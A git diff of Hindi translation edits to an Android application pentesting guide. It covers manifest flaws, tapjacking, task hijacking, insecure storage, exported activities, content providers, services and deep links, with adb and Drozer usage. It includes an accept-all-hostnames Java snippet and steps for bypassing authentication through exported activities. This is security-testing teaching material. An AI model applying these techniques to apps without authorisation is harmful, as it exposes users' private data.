- `guarded_open_np`: एक गार्ड के साथ FD खोलें
|
||||
- `guarded_open_np`: एक FD को गार्ड के साथ खोलें
|
||||
- `guarded_close_np`: इसे बंद करें
|
||||
- `change_fdguard_np`: एक वर्णनकर्ता पर गार्ड ध्वज बदलें (यहां तक कि गार्ड सुरक्षा को हटाना)
|
||||
- `change_fdguard_np`: एक डिस्क्रिप्टर पर गार्ड फ्लैग बदलें (यहां तक कि गार्ड सुरक्षा को हटाना)
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/)
|
||||
|
||||
|
@ -13,7 +13,7 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
यह मुख्य उपकरण है जिसकी आपको एक Android डिवाइस (इम्यूलेटेड या भौतिक) से कनेक्ट करने की आवश्यकता है।\
|
||||
**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपीिंग**, **इंस्टॉलेशन** और **अनइंस्टॉलिंग** ऐप्स, **शेल कमांड्स** का **निष्पादन**, **डेटा का बैकअप**, **लॉग्स का पढ़ना**, और अन्य कार्यों को सक्षम बनाती है।
|
||||
**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपीिंग**, **ऐप्स** की **स्थापना** और **अनइंस्टॉलेशन**, **शेल कमांड्स** का **निष्पादन**, **डेटा** का **बैकअप**, **लॉग्स** को **पढ़ने** जैसी अन्य कार्यों को सक्षम बनाती है।
|
||||
|
||||
ADB का उपयोग कैसे करें, यह जानने के लिए [**ADB Commands**](adb-commands.md) की निम्नलिखित सूची पर एक नज़र डालें।
|
||||
|
||||
@ -64,7 +64,7 @@ APK के **strings** पर नज़र डालकर आप **passwords**,
|
||||
|
||||
**Manifest.xml** से पहचानी गई **Vulnerabilities** में शामिल हैं:
|
||||
|
||||
- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में `debuggable="true"` के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को खोजने और शोषण करने के तरीके पर एक ट्यूटोरियल के लिए संदर्भित करें।
|
||||
- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में `debuggable="true"` के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को शोषित करने के तरीके को समझने के लिए, एक ट्यूटोरियल देखें जिसमें डिवाइस पर डिबग करने योग्य एप्लिकेशन को खोजने और शोषित करने के बारे में बताया गया है।
|
||||
- **Backup Settings**: संवेदनशील जानकारी से निपटने वाले एप्लिकेशनों के लिए `android:allowBackup="false"` विशेष रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा बैकअप को रोका जा सके, विशेष रूप से जब usb debugging सक्षम हो।
|
||||
- **Network Security**: _res/xml/_ में कस्टम नेटवर्क सुरक्षा कॉन्फ़िगरेशन (`android:networkSecurityConfig="@xml/network_security_config"`) सुरक्षा विवरण जैसे प्रमाणपत्र पिन और HTTP ट्रैफ़िक सेटिंग्स निर्दिष्ट कर सकते हैं। एक उदाहरण विशेष डोमेन के लिए HTTP ट्रैफ़िक की अनुमति देना है।
|
||||
- **Exported Activities and Services**: मैनिफेस्ट में निर्यातित गतिविधियों और सेवाओं की पहचान करना उन घटकों को उजागर कर सकता है जो दुरुपयोग के लिए संवेदनशील हो सकते हैं। गतिशील परीक्षण के दौरान आगे के विश्लेषण से यह पता चल सकता है कि इन घटकों का शोषण कैसे किया जाए।
|
||||
@ -72,14 +72,14 @@ APK के **strings** पर नज़र डालकर आप **passwords**,
|
||||
- **Broadcast Receivers and URL Schemes**: ये घटक शोषण के लिए उपयोग किए जा सकते हैं, विशेष रूप से इनपुट कमजोरियों के लिए URL योजनाओं के प्रबंधन के तरीके पर ध्यान दिया जाना चाहिए।
|
||||
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` विशेषताएँ समर्थित Android संस्करणों को इंगित करती हैं, सुरक्षा कारणों से पुराने, कमजोर Android संस्करणों का समर्थन न करने के महत्व को उजागर करती हैं।
|
||||
|
||||
**strings.xml** फ़ाइल से संवेदनशील जानकारी जैसे API keys, कस्टम स्कीमाएँ, और अन्य डेवलपर नोट्स का पता लगाया जा सकता है, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करता है।
|
||||
**strings.xml** फ़ाइल से, संवेदनशील जानकारी जैसे API keys, कस्टम स्कीमा, और अन्य डेवलपर नोट्स खोजे जा सकते हैं, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करते हैं।
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** एक हमला है जहाँ एक **malicious** **application** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जाए, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\
|
||||
इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**।
|
||||
प्रभाव में, यह **उपयोगकर्ता को यह जानने से अंधा कर रहा है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**।
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
अधिक जानकारी प्राप्त करें:
|
||||
|
||||
{{#ref}}
|
||||
tapjacking.md
|
||||
@ -87,9 +87,9 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
एक **activity** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, वह task Hijacking के लिए संवेदनशील है। इसका मतलब है कि एक **application** स्थापित की जा सकती है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाईजैक कर सकती है** (इसलिए उपयोगकर्ता **malicious application** के साथ बातचीत कर रहा होगा जबकि वह असल में वास्तविक एप्लिकेशन का उपयोग कर रहा है)।
|
||||
एक **activity** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, कार्य Hijacking के लिए संवेदनशील है। इसका मतलब है कि एक **application** स्थापित की जा सकती है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाइजैक कर सकती है** (ताकि उपयोगकर्ता **malicious application** के साथ बातचीत कर रहा हो, यह सोचते हुए कि वह असली का उपयोग कर रहा है)।
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
अधिक जानकारी में:
|
||||
|
||||
{{#ref}}
|
||||
android-task-hijacking.md
|
||||
@ -99,7 +99,7 @@ android-task-hijacking.md
|
||||
|
||||
**Internal Storage**
|
||||
|
||||
Android में, फ़ाइलें **internal** storage में **stored** होती हैं ताकि केवल **app** जो उन्हें **created** करती है, उन्हें **access** कर सके। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **enforced** किया गया है और अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए सामान्यतः पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **shared** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **restrict** नहीं करते, जिसमें संभावित रूप से malicious एप्लिकेशन भी शामिल हैं।
|
||||
Android में, फ़ाइलें **internal** storage में **stored** होती हैं ताकि केवल **app** जो उन्हें **created** करती है, उन्हें **accessible** किया जा सके। यह सुरक्षा उपाय Android ऑपरेटिंग सिस्टम द्वारा **enforced** किया गया है और अधिकांश एप्लिकेशनों की सुरक्षा आवश्यकताओं के लिए सामान्यतः पर्याप्त है। हालाँकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलों को विभिन्न एप्लिकेशनों के बीच **shared** किया जा सके। फिर भी, ये मोड अन्य एप्लिकेशनों द्वारा इन फ़ाइलों तक पहुँच को **restrict** नहीं करते हैं, जिसमें संभावित रूप से malicious एप्लिकेशन भी शामिल हैं।
|
||||
|
||||
1. **Static Analysis:**
|
||||
- **Ensure** करें कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **carefully scrutinized** किया गया है। ये मोड फ़ाइलों को **unintended or unauthorized access** के लिए **potentially expose** कर सकते हैं।
|
||||
@ -111,19 +111,19 @@ Android में, फ़ाइलें **internal** storage में **stored
|
||||
**External storage** पर फ़ाइलों के साथ काम करते समय, कुछ सावधानियाँ बरतनी चाहिए:
|
||||
|
||||
1. **Accessibility**:
|
||||
- External storage पर फ़ाइलें **globally readable and writable** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है।
|
||||
- बाहरी संग्रहण पर फ़ाइलें **globally readable and writable** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है।
|
||||
2. **Security Concerns**:
|
||||
- पहुँच की आसानी को देखते हुए, **संवेदनशील जानकारी** को external storage पर **store** न करने की सलाह दी जाती है।
|
||||
- External storage को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है।
|
||||
- पहुँच की आसानी को देखते हुए, सलाह दी जाती है कि **संवेदनशील जानकारी** को बाहरी संग्रहण पर **न रखें**।
|
||||
- बाहरी संग्रहण को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है।
|
||||
3. **Handling Data from External Storage**:
|
||||
- हमेशा **input validation** करें जो external storage से प्राप्त डेटा पर किया जाता है। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है।
|
||||
- Dynamic loading के लिए external storage पर executables या class फ़ाइलों को स्टोर करना दृढ़ता से हतोत्साहित किया जाता है।
|
||||
- यदि आपके एप्लिकेशन को external storage से executable फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **signed and cryptographically verified** हैं इससे पहले कि उन्हें dynamically loaded किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है।
|
||||
- हमेशा बाहरी संग्रहण से प्राप्त डेटा पर **input validation** करें। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है।
|
||||
- बाहरी संग्रहण पर executables या class फ़ाइलों को गतिशील लोडिंग के लिए रखना दृढ़ता से हतोत्साहित किया जाता है।
|
||||
- यदि आपके एप्लिकेशन को बाहरी संग्रहण से executable फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **signed and cryptographically verified** हैं इससे पहले कि उन्हें गतिशील रूप से लोड किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है।
|
||||
|
||||
External storage को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **access** किया जा सकता है।
|
||||
बाहरी संग्रहण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **accessed** किया जा सकता है।
|
||||
|
||||
> [!NOTE]
|
||||
> Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **एक ऐप से उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुँच को सीमित करती है**। यह malicious एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों को पढ़ने या लिखने की अनुमति नहीं देता है।
|
||||
> Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **एक ऐप से उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुँच को सीमित करती है**। यह malicious एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों तक पढ़ने या लिखने की पहुँच प्राप्त करने से रोकता है।
|
||||
|
||||
**Sensitive data stored in clear-text**
|
||||
|
||||
@ -134,7 +134,7 @@ External storage को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` मे
|
||||
|
||||
**Accept All Certificates**
|
||||
|
||||
किसी कारण से कभी-कभी डेवलपर्स सभी प्रमाणपत्रों को स्वीकार करते हैं भले ही उदाहरण के लिए hostname कोड की निम्नलिखित पंक्तियों के साथ मेल न खाता हो:
|
||||
किसी कारण से कभी-कभी डेवलपर्स सभी प्रमाणपत्रों को स्वीकार करते हैं भले ही उदाहरण के लिए होस्टनाम कोड की निम्नलिखित पंक्तियों के साथ मेल न खाता हो:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
@ -145,7 +145,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
||||
|
||||
**Poor Key Management Processes**
|
||||
|
||||
कुछ डेवलपर्स संवेदनशील डेटा को स्थानीय स्टोरेज में सहेजते हैं और इसे कोड में हार्डकोडेड/पूर्वानुमानित कुंजी के साथ एन्क्रिप्ट करते हैं। ऐसा नहीं करना चाहिए क्योंकि कुछ रिवर्सिंग हमलावरों को गोपनीय जानकारी निकालने की अनुमति दे सकती है।
|
||||
कुछ डेवलपर्स संवेदनशील डेटा को स्थानीय स्टोरेज में सहेजते हैं और इसे कोड में हार्डकोडेड/पूर्वानुमानित कुंजी के साथ एन्क्रिप्ट करते हैं। ऐसा नहीं किया जाना चाहिए क्योंकि कुछ रिवर्सिंग हमलावरों को गोपनीय जानकारी निकालने की अनुमति दे सकती है।
|
||||
|
||||
**Use of Insecure and/or Deprecated Algorithms**
|
||||
|
||||
@ -153,7 +153,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
||||
|
||||
### Other checks
|
||||
|
||||
- यह अनुशंसा की जाती है कि **APK को obfuscate** किया जाए ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का कार्य कठिन हो जाए।
|
||||
- यह अनुशंसा की जाती है कि **APK को obfuscate करें** ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो जाए।
|
||||
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **देखना चाहिए कि मोबाइल रूटेड है या नहीं** और इसके अनुसार कार्य करना चाहिए।
|
||||
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे देखना चाहिए कि क्या **emulator** का उपयोग किया जा रहा है।
|
||||
- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **execute करने से पहले अपनी अखंडता की जांच करनी चाहिए** कि क्या इसे संशोधित किया गया है।
|
||||
@ -278,7 +278,7 @@ Android का **clipboard-based** ढांचा ऐप्स में कॉ
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
यदि एक एप्लिकेशन **crash** होता है और **logs** को सहेजता है, तो ये लॉग हमलावरों की मदद कर सकते हैं, विशेष रूप से जब एप्लिकेशन को रिवर्स-इंजीनियर नहीं किया जा सकता। इस जोखिम को कम करने के लिए, क्रैश पर लॉगिंग से बचें, और यदि लॉग को नेटवर्क के माध्यम से भेजा जाना चाहिए, तो सुनिश्चित करें कि उन्हें सुरक्षा के लिए SSL चैनल के माध्यम से भेजा जाए।
|
||||
यदि एक एप्लिकेशन **crash** होता है और **logs** सहेजता है, तो ये लॉग हमलावरों की मदद कर सकते हैं, विशेष रूप से जब एप्लिकेशन को रिवर्स-इंजीनियर नहीं किया जा सकता। इस जोखिम को कम करने के लिए, क्रैश पर लॉगिंग से बचें, और यदि लॉग को नेटवर्क के माध्यम से भेजना आवश्यक है, तो सुनिश्चित करें कि उन्हें सुरक्षा के लिए SSL चैनल के माध्यम से भेजा जाए।
|
||||
|
||||
As pentester, **try to take a look to these logs**.
|
||||
|
||||
@ -288,17 +288,17 @@ As pentester, **try to take a look to these logs**.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
अधिकांश एप्लिकेशन **आंतरिक SQLite डेटाबेस** का उपयोग करके जानकारी सहेजेंगे। पेंटेस्ट के दौरान, बनाए गए **databases**, **tables** और **columns** के नामों और सभी **data** को देखें क्योंकि आप **संवेदनशील जानकारी** (जो एक भेद्यता होगी) पा सकते हैं।\
|
||||
डेटाबेस `/data/data/the.package.name/databases` में स्थित होना चाहिए जैसे `/data/data/com.mwr.example.sieve/databases`
|
||||
Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\
|
||||
Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
यदि डेटाबेस संवेदनशील जानकारी को सहेज रहा है और **encrypted b** है लेकिन आप एप्लिकेशन के अंदर **password** पा सकते हैं, तो यह अभी भी एक **भेद्यता** है।
|
||||
If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**.
|
||||
|
||||
`.tables` का उपयोग करके तालिकाओं को सूचीबद्ध करें और तालिकाओं के कॉलम को `.schema <table_name>` करके सूचीबद्ध करें।
|
||||
Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema <table_name>`
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** आपको **Android ऐप की भूमिका निभाने** और अन्य ऐप्स के साथ बातचीत करने की अनुमति देता है। यह **कुछ भी कर सकता है जो एक स्थापित एप्लिकेशन कर सकता है**, जैसे Android के इंटर-प्रोसेस संचार (IPC) तंत्र का उपयोग करना और अंतर्निहित ऑपरेटिंग सिस्टम के साथ बातचीत करना। .\
|
||||
Drozer एक उपयोगी उपकरण है **exported activities, exported services और Content Providers** का **exploiting** करने के लिए जैसा कि आप अगले अनुभागों में सीखेंगे।
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
|
||||
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
|
||||
|
||||
### Exploiting exported Activities
|
||||
|
||||
@ -307,7 +307,7 @@ Also remember that the code of an activity starts in the **`onCreate`** method.
|
||||
|
||||
**Authorisation bypass**
|
||||
|
||||
जब एक Activity को export किया जाता है, तो आप एक बाहरी ऐप से इसके स्क्रीन को कॉल कर सकते हैं। इसलिए, यदि एक गतिविधि जिसमें **संवेदनशील जानकारी** है **exported** है, तो आप **authentication** तंत्र को **bypass** कर सकते हैं **access** करने के लिए।
|
||||
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
|
||||
|
||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -318,10 +318,10 @@ You can also start an exported activity from adb:
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTE**: MobSF _**singleTask/singleInstance**_ के उपयोग को `android:launchMode` में एक गतिविधि के रूप में दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से केवल पुराने संस्करणों (API संस्करण < 21) पर खतरनाक है।
|
||||
**NOTE**: MobSF _**singleTask/singleInstance**_ के उपयोग को `android:launchMode` में एक गतिविधि के रूप में दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से पुराने संस्करणों (API संस्करण < 21) पर ही खतरनाक है।
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि एक प्राधिकरण बायपास हमेशा एक कमजोर बिंदु नहीं होता है, यह इस पर निर्भर करेगा कि बायपास कैसे काम करता है और कौन सी जानकारी उजागर होती है।
|
||||
> ध्यान दें कि एक प्राधिकरण बाईपास हमेशा एक कमजोर बिंदु नहीं होता है, यह इस पर निर्भर करेगा कि बाईपास कैसे काम करता है और कौन सी जानकारी उजागर होती है।
|
||||
|
||||
**संवेदनशील जानकारी का रिसाव**
|
||||
|
||||
@ -334,34 +334,34 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
### सामग्री प्रदाताओं का शोषण - संवेदनशील जानकारी तक पहुँच और हेरफेर
|
||||
|
||||
[**यदि आप सामग्री प्रदाता क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#content-provider)\
|
||||
सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा **निकालने** में सक्षम हो सकते हैं। यह भी **SQL इंजेक्शन** और **पथ यात्रा** का परीक्षण करना दिलचस्प है क्योंकि वे कमजोर हो सकते हैं।
|
||||
सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा निकालने में सक्षम हो सकते हैं। यह भी **SQL इंजेक्शन** और **पथ Traversals** का परीक्षण करना दिलचस्प है क्योंकि वे कमजोर हो सकते हैं।
|
||||
|
||||
[**Drozer के साथ सामग्री प्रदाताओं का शोषण कैसे करें, यह जानें।**](drozer-tutorial/index.html#content-providers)
|
||||
[**Drozer के साथ सामग्री प्रदाताओं का शोषण करना सीखें।**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **सेवाओं का शोषण**
|
||||
|
||||
[**यदि आप सेवा क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#services)\
|
||||
याद रखें कि एक सेवा की क्रियाएँ `onStartCommand` विधि में शुरू होती हैं।
|
||||
|
||||
एक सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्करण** कर सकता है और **एक प्रतिक्रिया** (या नहीं) लौटा सकता है। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\
|
||||
[**Drozer के साथ सेवाओं का शोषण कैसे करें, यह जानें।**](drozer-tutorial/index.html#services)
|
||||
एक सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्करण** कर सकता है और **एक प्रतिक्रिया** (या नहीं) लौटा सकता है। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बाईपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\
|
||||
[**Drozer के साथ सेवाओं का शोषण करना सीखें।**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **ब्रॉडकास्ट रिसीवर्स का शोषण**
|
||||
### **प्रसारण रिसीवर्स का शोषण**
|
||||
|
||||
[**यदि आप ब्रॉडकास्ट रिसीवर क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#broadcast-receivers)\
|
||||
याद रखें कि एक ब्रॉडकास्ट रिसीवर की क्रियाएँ `onReceive` विधि में शुरू होती हैं।
|
||||
[**यदि आप प्रसारण रिसीवर क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#broadcast-receivers)\
|
||||
याद रखें कि एक प्रसारण रिसीवर की क्रियाएँ `onReceive` विधि में शुरू होती हैं।
|
||||
|
||||
एक ब्रॉडकास्ट रिसीवर एक प्रकार के संदेश की प्रतीक्षा करेगा। रिसीवर जिस तरह से संदेश को संभालता है, उसके आधार पर यह कमजोर हो सकता है।\
|
||||
[**Drozer के साथ ब्रॉडकास्ट रिसीवर्स का शोषण कैसे करें, यह जानें।**](#exploiting-broadcast-receivers)
|
||||
एक प्रसारण रिसीवर एक प्रकार के संदेश की प्रतीक्षा करेगा। रिसीवर जिस तरह से संदेश को संभालता है, उसके आधार पर यह कमजोर हो सकता है।\
|
||||
[**Drozer के साथ प्रसारण रिसीवर्स का शोषण करना सीखें।**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **स्कीमों / डीप लिंक का शोषण**
|
||||
|
||||
आप मैन्युअल रूप से गहरे लिंक की तलाश कर सकते हैं, MobSF जैसे उपकरणों का उपयोग करके या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\
|
||||
आप मैन्युअल रूप से गहरे लिंक की खोज कर सकते हैं, MobSF जैसे उपकरणों या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\
|
||||
आप **adb** या एक **ब्राउज़र** का उपयोग करके एक घोषित **स्कीम** को **खोल** सकते हैं:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_ध्यान दें कि आप **पैकेज नाम को छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._
|
||||
_ध्यान दें कि आप **पैकेज नाम छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._
|
||||
```markup
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
@ -391,11 +391,11 @@ _ध्यान दें कि आप **पैकेज नाम को छ
|
||||
|
||||
- **प्रमाणपत्रों की हमेशा सही तरीके से जांच नहीं की जाती** Android एप्लिकेशनों द्वारा। इन एप्लिकेशनों के लिए चेतावनियों की अनदेखी करना और स्व-हस्ताक्षरित प्रमाणपत्रों को स्वीकार करना या कुछ मामलों में HTTP कनेक्शन का उपयोग करना सामान्य है।
|
||||
- **SSL/TLS हैंडशेक के दौरान बातचीत कभी-कभी कमजोर होती है**, असुरक्षित सिफर सूट का उपयोग करते हुए। यह कमजोरी कनेक्शन को मैन-इन-द-मिडल (MITM) हमलों के प्रति संवेदनशील बनाती है, जिससे हमलावर डेटा को डिक्रिप्ट कर सकते हैं।
|
||||
- **निजी जानकारी का लीक होना** एक जोखिम है जब एप्लिकेशन सुरक्षित चैनलों का उपयोग करके प्रमाणीकरण करते हैं लेकिन फिर अन्य लेनदेन के लिए असुरक्षित चैनलों के माध्यम से संवाद करते हैं। यह दृष्टिकोण संवेदनशील डेटा, जैसे सत्र कुकीज़ या उपयोगकर्ता विवरण, को दुर्भावनापूर्ण संस्थाओं द्वारा इंटरसेप्शन से सुरक्षित नहीं रखता है।
|
||||
- **निजी जानकारी का लीक होना** एक जोखिम है जब एप्लिकेशन सुरक्षित चैनलों का उपयोग करके प्रमाणीकरण करते हैं लेकिन फिर अन्य लेनदेन के लिए असुरक्षित चैनलों के माध्यम से संचार करते हैं। यह दृष्टिकोण संवेदनशील डेटा, जैसे सत्र कुकीज़ या उपयोगकर्ता विवरण, को दुर्भावनापूर्ण संस्थाओं द्वारा इंटरसेप्शन से बचाने में विफल रहता है।
|
||||
|
||||
#### प्रमाणपत्र सत्यापन
|
||||
|
||||
हम **प्रमाणपत्र सत्यापन** पर ध्यान केंद्रित करेंगे। सुरक्षा बढ़ाने के लिए सर्वर के प्रमाणपत्र की अखंडता की जांच की जानी चाहिए। यह महत्वपूर्ण है क्योंकि असुरक्षित TLS कॉन्फ़िगरेशन और असुरक्षित चैनलों के माध्यम से संवेदनशील डेटा का संचरण महत्वपूर्ण जोखिम पैदा कर सकता है। सर्वर प्रमाणपत्रों की जांच करने और कमजोरियों को संबोधित करने के लिए विस्तृत कदमों के लिए, [**यह संसाधन**](https://manifestsecurity.com/android-application-security-part-10/) व्यापक मार्गदर्शन प्रदान करता है।
|
||||
